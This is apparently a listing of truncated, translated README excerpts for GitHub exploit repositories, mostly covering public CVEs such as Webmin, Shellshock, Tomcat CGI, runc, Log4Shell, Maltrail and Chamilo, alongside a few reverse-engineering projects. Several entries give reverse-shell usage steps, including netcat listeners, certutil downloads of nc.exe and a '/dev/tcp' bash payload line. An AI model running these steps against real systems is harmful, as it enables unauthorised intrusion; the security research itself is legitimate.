CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920에서 문제가 발견되었습니다. passwordchange.cgi의 "old" 및 "expire" 매개변수에 명령 주입 취약점이 존재합니다. 사용법 1. 빨간 박스에서 리스너를 시작합니다. rlwrap -cAr nc -lvp 1919 2. 익스플로잇을 실행합니다. ./exploit.sh 3. 인수가 요청됩니다: 대상의 IP 주소 Webmin이 실행 중인 대상 포트 보통 10000 로컬 리스너 포트...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 셸쇼크 취약점 공격 스크립트 🎯💻🔍 이 Python 스크립트는 Shellshock 취약점CVE-2014-6271을 이용하여 취약한 대상에서 원격으로 명령을 실행하거나 리버스 셸을 설정합니다. 🛠️⚠️ ⚠ 면책 조항 🚨❗ 이 스크립트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 명시적 허가 없이 시스템에 무단 사용하는 것은 불법이며 비윤리적입니다. 보안 테스트를 수행하기 전에 항상 적절한 승인을 받으십시오. ⚠️🛑🚔 🔥 기능 Shellshock 취약점을 이용하여 취약한...

luadec-tplink

luadec-tplink TP-Link Archer C7 LUAファームウェアを逆コンパイルするために改変されたluadecバージョン。 すべてのオペコードが動作するわけではないが、リバースエンジニアリングに使用するには十分である。...

Vision-MSI-Thermal-Control

Vision MSI Thermal Control MSI Modern 15H AI C1MG-096IT Linux 열 관리 - 역설계된 EC 제어 팬 프로필 및 배터리 임계값 🎯 이 프로젝트의 목적 이 애플리케이션은 Linux에서 MSI 노트북 사용자의 필요성에서 탄생했습니다. 제 Linux Mint Xia 배포판에 대해 Intel이나 MSI 모두 적절한 드라이버나 제어 애플리케이션을 제공하지 않는다는 사실을 발견하면서 여정이 시작되었습니다. 📖 배경 이야기 광범위한 검색 끝에, Intel Core Ultra 5 125H CPU에...

CVE-2026-48172

📚 교육용 보안 연구 저장소 통제된 환경에서 사이버보안 개념을 학습, 테스트, 연구하기 위한 저장소입니다. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 설정 예시: git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d cd .. 사용 예시: For localhost...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" は、msfvenom から shellcode を取得し、その出力を exp.pdf の 'calc' shellcode ブロックに置き換える Python スクリプトです。最後に動作します。おっと、これは tcp リバース shellcode です。 サンプルコードは次のようになります: python getshellcodefrommsf.py 192.168.1.79 1234...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE 제작: TheAlchimist cve-2023-27163-maltrail.py for reverse shell...

CVE-2015-8562

CVE-2015-8562 - リバースシェル Python エクスプロイト: Joomla 1.5 - 3.4.5 オブジェクトインジェクション RCE X-Forwarded-For ヘッダー: 脆弱性発見日: 2015年12月17日 エクスプロイト作成者: anarc0der バージョン: Joomla 1.5 から 3.4.5 CVE : CVE-2015-8562 使用方法: ターミナルを1つ開き、ncで待ち受けます: $ nc -lnvp 4444 別のターミナルを開き、エクスプロイトを実行します: python3 rce.py --target='target'...

CVE-2019-0232

CGI RCE 익스플로잇 인증되지 않은 RCE를 CGI 배치 엔드포인트를 통해 수행하는 PoC입니다. certutil을 사용하여 타겟에 nc.exe를 다운로드하고 리버스 셸을 트리거합니다. 설정 1. nc.exe 서빙 nc.exe가 있는 동일 디렉토리에서: python3 -m http.server 80 2. 리스너 시작: nc -lvnp 1234 3. 익스플로잇 실행: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip \ --server-port 80 \ --nc-ip...

CVE-2021-21220

먼저 설치: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome 버전: 90.0.4403.0 chrome-win.zip 설치 1. node server.js ./chrome.exe --no-sandbox 실행 localhost:8888로 이동 참고로, 이 익스플로잇이 의존하는 CVE는 CVE 2021-21220입니다. 이 취약점은 호스팅되는 웹사이트를 기반으로 합니다. 핵심 아이디어는...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI 익스플로잇 스크립트 설명 Apache Tomcat 서버의 CGI 취약점을 악용하여 리버스 셸 연결을 실행하도록 설계된 Python 스크립트입니다. 사용 예시 특징 Apache Tomcat CGI 취약점에 대한 자동화된 익스플로잇 사용자 정의 가능한 대상 및 공격자 매개변수 간단한 명령줄 인터페이스 사전 요구 사항 Python 3.x requests 라이브러리 Netcat nc.exe 리버스 셸을 수신할 리스너에 대한 액세스 설치 git clone cd pip install requests 사용법...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 사용법 : 해당 시스템은 CVE-2019-5736에 취약합니다. Runc 익스플로잇 CVE-2019-5736의 단계를 따르세요. main.go 파일을 다운로드하고, 파일 내 페이로드를 다음과 같이 변경하세요: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 그 후, 실행: go build main.go HTTP 서버 호스팅: python3 -m http.server 그런 다음 아래와 같이 3개의...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 대안 접근법: 리버스 셸 및 콜백 테스트 개요 이 저장소는 SSH 키 주입이 실패할 때 InvokeAI RCE 취약점CVE-2024-12029에 대한 대안 페이로드 접근 방식을 포함합니다. 페이로드는 pickle 역직렬화가 실제로 발생하는지 테스트하고 대체 접근 방법을 제공하도록 설계되었습니다. 문제 설명 SSH 키 주입 페이로드가 성공적으로 전달Status 201되었지만 SSH 접속에 여전히 비밀번호가 필요한 경우,...

byd-dolphin-hacking

🚗 BYD Dolphin ヘッドユニット — リサーチ & リバースエンジニアリング BYD Dolphin 25/26 インフォテインメントシステム（DiLink 3、Android 10）のリバースエンジニアリング、ドキュメント、ツール。 ここにあるものはすべて ADB 探索、APK デコンパイル、CAN バスプロービングを通じて発見されたものであり、独自のドキュメントは一切使用していません。 ⚠️ 免責事項: 非公式のコミュニティ主導プロジェクトであり、BYD とは一切関係ありません。 BYD の内部 Android...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE 익스플로잇 프로토타입 오염을 통한 원격 코드 실행을 위해 CVE-2025-55182를 악용합니다. 저자: Severian N.K. 설명 이 도구는 React Server Components를 사용하는 Next.js 애플리케이션의 프로토타입 오염 취약점을 악용하여 원격 코드 실행RCE을 유발합니다. 직접 명령 실행과 리버스 셸을 모두 지원합니다. 설치 이 프로젝트는 종속성을 관리하기 위해 Python 가상 환경을 사용합니다. 먼저 Python 3이 설치되어 있는지...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명입니다. 최근 log4j에서 새로운 취약점이 발견되었습니다. log4j는 elasticsearch, minecraft 및 기타 여러 곳에서 매우 널리 사용되는 Java 로깅 라이브러리입니다. 이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명POC 익스플로잇이 포함되어 있습니다. 개념 증명POC PoC로 프로세스를 자동화하는 Python 파일이 있습니다. 요구 사항: pip install -r requirements.txt...

htb-sau-exploit-chain

HTB Sau 익스플로잇 체인 — CVE-2023-27163 SSRF + Maltrail RCE 자동화 CVE-2023-27163Request Baskets ≤ 1.2.1의 서버사이드 요청 위조SSRF와 Maltrail 0.53의 인증되지 않은 원격 코드 실행RCE 취약점을 연쇄하여 리버스 셸을 전달하는 Python 익스플로잇 스크립트입니다. Hack The Box Sau 머신용으로 설계되었습니다. 📌 개요 이 스크립트는 대상에 초기 접근 권한을 얻기 위해 다음과 같은 공격 경로를 자동화합니다: 1. CVE-2023-27163...

CVE-2023-422-Chamilo-LMS-RCE

前提条件 pip install requests 情報 この Python スクリプトは、脆弱性 CVE-2023-422 を利用してサーバーにファイルをアップロードし、そのファイルを使って netcat リスナーにリバースシェルを送信します。これらはすべて認証なしで実行できます。ただし、Python スクリプトを正常に使用するには、以下の手順に従う必要があります。 netcat リスナーを起動: nc -lnvp 4444 Python スクリプトの実行 例: python3 main.py -u "http://lms.permx.htb" -p "80" -ni...

CVE-2023-27163-AND-Mailtrail-v0.53

自動エクスプロイト 概要 以下のエクスプロイトはRequests Baskets v1.2.1 SSRF脆弱性を悪用し、127.0.0.1:80で動作している内部アプリケーションを/pwnedの外部アプリケーションへ転送します。Mailtrail v0.53 アプリケーションが転送されると、リバースシェルコマンドを実行し、数秒以内にユーザーはマシン上でリバースシェルを取得できます。 コマンド python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT エクスプロイト: CVE-2023-27163...

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 - Gitea ≤1.26.2 認証バイパス 1. Giteaとは？ Giteaは、組織や開発者がソースコードリポジトリの管理、課題の追跡、変更のレビュー、ソフトウェアプロジェクトでのコラボレーションを可能にする、軽量かつオープンソースのGitホスティングプラットフォーム です。GitHub やGitLab などのプラットフォームと同様の機能を提供しますが、セルフホスト型で、効率的で、保守が容易 なように設計されており、コードと開発インフラストラクチャをより細かく制御したい組織に適しています。 2. 脆弱性の解説 CVE-2026-20896...